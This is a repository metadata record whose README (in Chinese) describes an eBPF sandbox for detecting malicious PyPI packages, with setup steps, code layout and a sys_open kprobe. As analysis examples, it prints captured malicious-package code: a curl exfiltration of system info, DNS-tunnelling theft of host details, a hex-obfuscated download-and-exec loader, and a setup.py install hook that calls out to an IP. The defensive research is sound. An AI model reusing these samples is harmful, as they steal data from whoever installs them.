{"id":13840116,"url":"https://github.com/Kevin-sa/ebpf-supply-chain","last_synced_at":"2025-07-11T07:32:43.689Z","repository":{"id":133756693,"uuid":"532523144","full_name":"Kevin-sa/ebpf-supply-chain","owner":"Kevin-sa","description":"利用ebpf做pypi恶意包检测","archived":false,"fork":false,"pushed_at":"2024-03-30T10:31:31.000Z","size":25300,"stargazers_count":10,"open_issues_count":1,"forks_count":1,"subscribers_count":3,"default_branch":"master","last_synced_at":"2024-08-05T17:24:44.706Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Kevin-sa.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2022-09-04T11:43:16.000Z","updated_at":"2024-03-24T13:24:41.000Z","dependencies_parsed_at":"2024-03-30T11:29:07.883Z","dependency_job_id":null,"html_url":"https://github.com/Kevin-sa/ebpf-supply-chain","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kevin-sa%2Febpf-supply-chain","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kevin-sa%2Febpf-supply-chain/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kevin-sa%2Febpf-supply-chain/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kevin-sa%2Febpf-supply-chain/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Kevin-sa","download_url":"https://codeload.github.com/Kevin-sa/ebpf-supply-chain/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225705239,"owners_count":17511250,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:00:42.167Z","updated_at":"2024-11-21T09:31:01.238Z","avatar_url":"https://github.com/Kevin-sa.png","language":"C","funding_links":[],"categories":["C"],"sub_categories":[],"readme":"之前做pypi源恶意包监控的方案中使用import hook的方式，即在load_module的过程中做hook劫持，当时该方案存在一定的局限性比如python2中exec实际是statement。最近在学习ebpf故利用ebpf做更加通用（pypi、npm）的类似hids的方案，利用两个周末完成相关代码实现并做部分恶意包验证，获取一定效果的同时也发现预期的噪声过多等问题，后续有时间会陆续对一些问题做修复/扩展。\n\n-[LLM识别测试](/docs/llm/llm-evil-package.md)\n\n- [0x01 项目图](#0x01-项目图)\n  - [1.1 环境依赖](#11-环境依赖)\n  - [1.2 ebpf-supply-chain](#12-ebpf-supply-chain)\n  - [1.3 ebpf-supply-chain-server](#13-ebpf-supply-chain-server)\n- [0x02 ebpf](#0x02-ebpf)\n  - [hook sys\\_open](#hook-sys_open)\n- [0x03 问题\\\u0026留坑](#0x03-问题留坑)\n  - [3.1 问题](#31-问题)\n  - [留坑](#留坑)\n- [0x04 feature](#0x04-feature)\n  - [4.1 特定OS恶意行为触发](#41-特定os恶意行为触发)\n  - [4.2 报名混淆相似度检出](#42-报名混淆相似度检出)\n  - [4.3 dns hook](#43-dns-hook)\n    - [google\\_longrunning为例](#google_longrunning为例)\n- [参考1-效果](#参考1-效果)\n  - [175.24.100.2](#175241002)\n  - [talmalfu](#talmalfu)\n  - [101.32.99.28](#101329928)\n- [参考2](#参考2)\n\n## 0x01 项目图\n![](docs/2.png)\n### 1.1 环境依赖\n- ebpf\n```\napt install -y bison build-essential cmake flex git libedit-dev libllvm11 llvm-11-dev libclang-11-dev python zlib1g-dev libelf-dev libfl-dev clang python3-distutils\n```\n- server程序依赖\n```\nmysql\nredis\nsupervisor\ndocker\n```\n- supervisor\n```\nserver API服务\n[program:ebpf-supply-chain-server]\nuser=kevinsa\ncommand=/home/kevinsa/go/src/github.com/kevinsa/ebpf-supply-chain-server/venv/bin/python /home/kevinsa/go/src/github.com/kevinsa/ebpf-supply-chain-server/server.py\nstderr_logfile=/var/log/supervisor/ebpf_server_stderr.log\nstdout_logfile=/var/log/supervisor/ebpf_server_stdout.log\nlogfile_maxbytes=10MB\nlogfile_backups=10\nautostart=true\nstartretries=15\n\n\nrunner 告警服务\n[program:ebpf-supply-chain-runner]\nuser=kevinsa\ncommand=/home/kevinsa/go/src/github.com/kevinsa/ebpf-supply-chain-server/venv/bin/python /home/kevinsa/go/src/github.com/kevinsa/ebpf-supply-chain-server/runner.py\nstderr_logfile=/var/log/supervisor/ebpf_runner_stderr.log\nstdout_logfile=/var/log/supervisor/ebpf_runner_stdout.log\nlogfile_maxbytes=10MB\nlogfile_backups=10\nautostart=true\nstartretries=15\n```\n\n- 拉取package定时任务\n```\ncrontab\n0 */6 * * * /bin/bash /home/kevinsa/go/src/github.com/kevinsa/ebpf-supply-chain-server/main.sh\n```\n\n### 1.2 ebpf-supply-chain\nebpf采集hook信息、并上报到server端\n```sh\nkevinsa@ubuntu ~/g/s/g/k/ebpf-supply-chain (master)\u003e \ntree -L 2\n.\n├── docker-compose.yml\n├── Dockerfile // docker ebpf-supply-chain:base为安装python3 \u0026 pip3的基础镜像\n├── global\n│   └── setting.go\n├── go.mod\n├── go.sum\n├── main.go \n├── README.md\n├── service \n│   ├── biz // 从server获取检测任务\n│   ├── event_biz.go\n│   ├── event_socket.go\n│   ├── event_sys_exec.go\n│   ├── event_sys_open.go\n│   ├── event_sys_write.go\n│   ├── modules.go\n│   ├── register.go\n│   ├── socket // socket相关ebpf\n│   ├── sysexec // exec相关ebpf\n│   ├── sysopen  // 文件打开相关ebpf\n│   └── syswrite // 文件写入相关ebpf\n└── utils\n    ├── convert_utils.go\n    ├── post_hook_info.go // hook信息上报\n    ├── post_sys_exec_hook_info.go // hook信息上报\n    ├── post_sys_open_hook_info.go // hook信息上报\n    └── post_sys_write_hook_info.go // hook信息上报\n```\n\n### 1.3 ebpf-supply-chain-server\n```shell\nkevinsa@ubuntu ~/g/s/g/k/ebpf-supply-chain-server (master)\u003e tree -L 2\n.\n├── config\n│   ├── __init__.py\n│   └── setting.py\n├── database\n│   ├── cache  // redis缓存相关\n│   ├── __init__.py\n│   ├── mapper // mysql存储相关\n│   ├── mysql.py\n│   └── redis_db.py\n├── db\n│   └── resource.sql // mysql数据表\n├── log\n│   └── supply-chain-check.log // 日志\n├── main.py // 定时拉取新增package\n├── main.sh // crontab使用\n├── mirror // pypi镜像源\n│   ├── cloud_tencent_com.py\n│   ├── doubanio_com.py\n│   ├── impl\n│   ├── __init__.py\n│   ├── pypi_org.py\n│   └── tuna_tsinghua_edu.py\n├── modules\n│   ├── get_package_version.py\n│   ├── __init__.py\n│   ├── logger.py\n│   ├── package_task_service.py\n│   ├── simple_common_service.py\n│   └── utils.py\n├── requirements.txt\n├── rule // 根据hook信息做是否恶意包判责方法\n│   ├── exec_black_rule.py\n│   ├── impl\n│   ├── __init__.py\n│   ├── socket_address_rare_rule.py\n│   ├── socket_black_address_rule.py\n│   └── socket_black_port_rule.py\n├── runner.py // 根据hook信息做是否恶意包判责入口函数\n└── server.py // server入口函数\n```\n\n## 0x02 ebpf\neBPF可以使用kprobe\\tracepoint等探测点获取内核函数执行时的基础数据，故可以用于实现做恶意包利用时的沙盒检测。ebpf一般由c语法来做编写然后利用llvm编译ebpf字节码后做加载，也有bcc等高级语言的封装，最后采用的是[cilium ebpf](https://github.com/cilium/ebpf)，对于cilium ebpf只需要部分c逻辑，```go generate```会做bpf2go的封装逻辑，后续负责逻辑些golang即可。\n\n### hook sys_open\n检测包管理恶意包项目中做检测的hook点为：```kprobe/do_sys_openat2```、```fentry/tcp_connect```、```kprobe/sys_execve```，以hook系统open调用为例子\n\n```c\n#include \"common.h\"\n#include \"bpf_helpers.h\"\n#include \"bpf_tracing.h\"\n\nchar __license[] SEC(\"license\") = \"Dual MIT/GPL\";\n\n\nstruct event\n{\n    u32 pid;\n    u8 comm[16];\n    // char filename;\n    u8 filename[100];\n};\n\n\nstruct {\n    __uint(type, BPF_MAP_TYPE_RINGBUF);\n    __uint(max_entries, 256 * 1024 /* 256 KB */);\n} events SEC(\".maps\");\n\nstruct event *unused __attribute__((unused));\n\nSEC(\"kprobe/do_sys_openat2\")\nint kprobe_do_sys_openat2(struct pt_regs *ctx)\n{   \n    u64 id   = bpf_get_current_pid_tgid();\n\tu32 tgid = id \u003e\u003e 32;\n    struct event *task_info;\n\n    // char file_name[255];\n    // long err = bpf_probe_read_user_str(\u0026task_info-\u003efilename, sizeof(task_info-\u003efilename), (void *)ctx-\u003erdi);\n    \n    task_info = bpf_ringbuf_reserve(\u0026events, sizeof(struct event), 0);\n\tif (!task_info) {\n\t\treturn 0;\n\t}\n\n    char *filename = (char *)PT_REGS_PARM2(ctx);\n    bpf_probe_read(\u0026task_info-\u003efilename, sizeof(task_info-\u003efilename), filename);\n\n\n    task_info-\u003epid = tgid;\n    bpf_get_current_comm(\u0026task_info-\u003ecomm, 16);\n    bpf_ringbuf_submit(task_info, 0);\n\n    return 0; \n}\n```\n使用ring buffer map来准备和发送数据到用户空间，在用户空间使用golang对hook到的数据做二次处理即可。\n\n## 0x03 问题\u0026留坑\n### 3.1 问题\n- ebpf监控力度粗于python3 rasp的方式，导致系统级别噪声过多，在后置聚合、关联、检测能力较弱的情况下，较难完成预期的恶意包判责，易陷入误报/漏洞的跷跷板中。\n\n\n### 留坑\n两个周末完成的工程中留下的小坑也不少，后续如有时间会做fix\n- ebpf中sys_exec只获取pid\\comm\\filename，缺失后置判责逻辑中的强需的avg信息\n- server中main.py获取新增pypi package中应修改为threading+asyncio方式，且目前仅获取新增package未判断version粒度变化\n- server中的runner.py判责逻辑只做简单黑白名单规则，没有根据多hook信息中pid做关联、聚合等逻辑\n\n## 0x04 feature\n### 4.1 特定OS恶意行为触发\n发现部分恶意包会判断操作系统类型，在macos下会执行采集信息等恶意动作，由于ebpf运行在linux下故暂时不能触发恶意行为并检出，故暂时是否可以通过AST的方式去做白盒的检出。对应feature_ast_os_diff分支，恶意包举例：\n```python\nkwxiaodian\n\nif sys.platform == 'darwin':\n    def get_info():\n        version = sys.version\n        uname_string = str(os.popen(\"uname -a\").read())\n        id_string = str(os.popen(\"id\").read())\n        pwd_string = str(os.popen('pwd').read())\n        ip_string = str(os.popen('ifconfig').read())\n        info = {\n            \"uname\": uname_string,\n            \"id\": id_string,\n            \"pwd\": pwd_string,\n            \"ip\": ip_string\n        }\n        if version[0] == '2':\n            info = base64.b64encode(json.dumps(info))\n        else:\n            info = base64.b64encode(json.dumps(info).encode('utf-8')).decode()\n        print(info)\n\n        url = 'http:/81.70.191.194:14333/start/' + info\n        os.system('curl -m 3 -s -o /dev/null ' + url)\n```\n\n### 4.2 报名混淆相似度检出\n看到[Beyond Typosquatting, An In-depth Look at\nPackage Confusion\n](https://www.usenix.org/system/files/sec23_slides_neupane.pdf) 其中提到13中容易混淆导致误用package的情况，故是否可以利用当前已检出的packagename、全量package做样本判断是否是恶意包，用来做辅助分析。当前已给出的恶意package请参考```/small_sample/package`.json```\n\n### 4.3 dns hook\n通过hook```getaddrinfo```函数可以获取通过curl/wget等方式的dns查询，但是无法获取nslook不通过getaddrinfo函数的数据\n相关恶意包case  \n\n#### google_longrunning为例\n```\nimport os\nimport socket\nimport json\nimport binascii\nimport random\nimport string\n\n\nPACKAGE = 'google_longrunning'\nSUFFIX = '.lol.0d'+'ay-se'+'curity.com';\nNS = 'lol.0da'+'y-sec'+'urity.com';\n\n\ndef generate_id():\n    return ''.join(random.choice(\n        string.ascii_lowercase + string.digits) for _ in range(12)\n    )\n\ndef get_hosts(data):\n\n    data = binascii.hexlify(data.encode('utf-8'))\n    data = [data[i:i+60] for i in range(0, len(data), 60)]\n    data_id = generate_id()\n\n    to_resolve = []\n    for idx, chunk in enumerate(data):\n        to_resolve.append(\n            'v2_f.{}.{}.{}.v2_e{}'.format(\n                data_id, idx, chunk.decode('ascii'), SUFFIX)\n            )\n\n    return to_resolve\n\n\ndef try_call(func, *args):\n    try:\n        return func(*args)\n    except:\n        return 'err'\n\n\ndata = {\n    'p' : PACKAGE,\n    'h' : try_call(socket.getfqdn),\n    'd' : try_call(os.path.expanduser, '~'),\n    'c' : try_call(os.getcwd)\n}\n\ndata = json.dumps(data)\n\n\nto_resolve = get_hosts(data)\nfor host in to_resolve:\n    try:\n        socket.gethostbyname(host)\n    except:\n        pass\n\nto_resolve = get_hosts(data)\nfor host in to_resolve:\n    os.system('nslookup {} {}'.format(host, NS))\n```\n- 可支持\n```\nsocket.gethostbyname(host)\n```\n- 不支持\n```\nos.system('nslookup {} {}'.format(host, NS))\n```\n\n\n\n## 参考1-效果\n[部分样本](https://github.com/Kevin-sa/ebpf-supply-chain/tree/master/small_sample)  \n以检测到的部分恶意pypi包为例\n### 175.24.100.2\n比较出名的“175.24.100.2”恶意包\n```\n+------------------------------------------+------------+\n| package                                  | version    |\n+------------------------------------------+------------+\n| easdyict                                 | 1.0.0      |\n| ueler                                    | 1.0.0      |\n| fliemagic                                | 1.0.0      |\n| cryptograhpy                             | 1.0.0      |\n| uitls                                    | 1.0.0      |\n| efficientent-pytorch                     | 1.0.0      |\n| vitualenv                                | 1.0.0      |\n| demjon                                   | 1.0.0      |\n| imutlis                                  | 1.0.0      |\n| m1niexception                            | 0.1        |\n| pydatamover                              | 0.0.2      |\n| waveradio-v0-0-2                         | v0.0.2     |\n| bigchaindbnextgen                        | 2.2.2.2    |\n| newtorks                                 | 1.0.0      |\n| benchmark-chrome                         | Chrome     |\n| azure-textanalytics                      | 6969.99.99 |\n| btcspendfrom                             | 20.3.4     |\n| coin-master-hack-coins-free-working-2022 | 0.13       |\n| aioli-client                             | client     |\n| xmpuspus                                 | 0.0.1      |\n+------------------------------------------+------------+\n20 rows in set (0.00 sec)\n```\n\n### talmalfu\n```python\nimport builtins\nimport requests\n\nurl = bytes.fromhex('687474703a2f2f7a6576656c2e736974652f7061796c6f61642d3032').decode()\npayload = requests.get(url).text\ngetattr(builtins, bytes.fromhex('65786563').decode())(payload)\n```\n\n### 101.32.99.28\n```sql\nmysql\u003e select hook_type,rule_name,package,version,score from supply_chain_evil_result where status=1;\n+-----------+---------------------+-------------+------------+-------+\n| hook_type | rule_name           | package     | version    | score |\n+-----------+---------------------+-------------+------------+-------+\n| socket    | socket_address_rare | animatch    | 8.8.8      | 50    |\n| socket    | socket_address_rare | api-library | library    | 50    |\n| socket    | socket_address_rare | aaaaaaaaa   | 0.1.0      | 50    |\n| socket    | socket_address_rare | autres      | 0.1.0      | 50    |\n| socket    | socket_address_rare | taoxin      | 0.1.0      | 50    |\n| socket    | socket_address_rare | openrooms   | 0.1.0      | 50    |\n| SOCKET    | other               | paras-b     | 6969.99.99 | 0     |\n+-----------+---------------------+-------------+------------+-------+\n7 rows in set (0.00 sec)\n```\n\n```python3\nkevinsa@ubuntu ~/D/e/coding-dojo-0.1.0\u003e cat setup.py\n#!/usr/bin/env python\n# coding: utf-8\n\nfrom setuptools import setup\nfrom setuptools.command.install import install\nimport requests\n\nclass CustomInstallCommand(install):\n    def run(self):\n        install.run(self)\n        url = \"h\"+\"t\"+\"t\"+\"p\"+\":\"+\"/\"+\"/\"+\"1\"+\"0\"+\"1\"+\".\"+\"3\"+\"2\"+\".\"+\"9\"+\"9\"+\".\"+\"2\"+\"8\"+\"/name?coding-dojo\"\n        requests.get(url, timeout=30)\n\nsetup(\n    name='coding-dojo',\n    version='0.1.0',\n    author='RemindSupplyChainRisks',\n    author_email='RemindSupplyChainRisks@gmail.com',\n    url='https://github.com/coding-dojo',\n    description='Remind Supply Chain Risks',\n    packages=['coding-dojo'],\n    install_requires=['requests'],\n    cmdclass={\n        'install': CustomInstallCommand,\n    },\n)\n```\n\n## 参考2\n- [cilium/ebpf](https://github.com/cilium/ebpf)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FKevin-sa%2Febpf-supply-chain","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FKevin-sa%2Febpf-supply-chain","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FKevin-sa%2Febpf-supply-chain/lists"}